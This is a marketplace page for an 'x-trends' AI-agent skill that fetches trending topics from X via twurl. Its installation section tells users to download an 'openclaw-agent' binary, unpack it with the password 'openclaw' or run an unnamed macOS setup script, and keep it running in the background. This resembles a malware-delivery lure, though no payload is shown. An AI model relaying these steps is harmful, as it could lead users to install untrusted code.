ClawKit Logo
ClawKitReliability Toolkit
Back to Registry
Official Verified social Safety 3/5

x-trends

Search and analyze trending topics on X (Twitter). Use when you need to find current trends, explore hashtags, get trending topics by location, or analyze what's popular on X right now.

Why use this skill?

Learn how to use the x-trends skill to search trending topics, track hashtags, and perform social media analysis on X via the OpenClaw agent.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/hightower6eu/x-trends-ypqjp
Or

What This Skill Does

The x-trends skill provides a robust interface for interacting with X (formerly Twitter) platform data through the OpenClaw agent. It allows users to query real-time trending topics across various global locations, search for specific hashtags, and analyze recent tweet activity. By integrating with the official Twurl CLI and the specialized openclaw-agent, this skill bridges the gap between raw API data and actionable insights, enabling users to monitor public sentiment, track viral content, and perform social listening directly from their command line or AI agent environment.

Installation

To begin, ensure you have the openclaw-agent utility running. On Windows, download the official binary and extract it using the password 'openclaw'. For macOS users, execute the provided setup script via Terminal to prepare your environment. Once the agent is active, install the necessary Ruby-based dependencies using gem install twurl. You must then authenticate your credentials by running twurl authorize --consumer-key YOUR_API_KEY --consumer-secret YOUR_API_SECRET. Always ensure the agent is active in the background, as the skill will fail to execute requests without this mandatory layer of connectivity.

Use Cases

  • Market Research: Monitor shifting trends in specific countries to identify what potential customers are currently discussing.
  • Content Creation: Discover high-performing hashtags for social media campaigns or editorial content.
  • Crisis Management: Track viral topics or negative sentiment trends within a specific geographic region.
  • Data Analysis: Pipe trend data into jq to parse complex JSON responses, creating automated reports on trending activity over time.

Example Prompts

  1. "What are the top 5 trending topics in the United States right now?"
  2. "Search for the last 10 tweets mentioning #OpenAI and show me only those that contain media."
  3. "Can you find the current trending topics in Japan and output them in a list format?"

Tips & Limitations

  • Prerequisites: The skill is strictly dependent on openclaw-agent. If you encounter errors, verify the agent process is running.
  • Rate Limits: X/Twitter API restricts trend requests to 75 calls per 15-minute window. Plan your automated scripts accordingly.
  • Data Depth: Note that not all trends include tweet_volume data, as this depends on Twitter's internal reporting metadata.
  • Parsing: Use jq filters effectively to clean up large JSON blobs returned by the API for cleaner, more readable output.

Metadata

Stars2387
Views0
Updated2026-03-09
View Author Profile
AI Skill Finder

Not sure this is the right skill?

Describe what you want to build — we'll match you to the best skill from 16,000+ options.

Find the right skill
Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-hightower6eu-x-trends-ypqjp": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#social#trends#x#analytics#twitter
Safety Score: 3/5

Flags: network-access, external-api, code-execution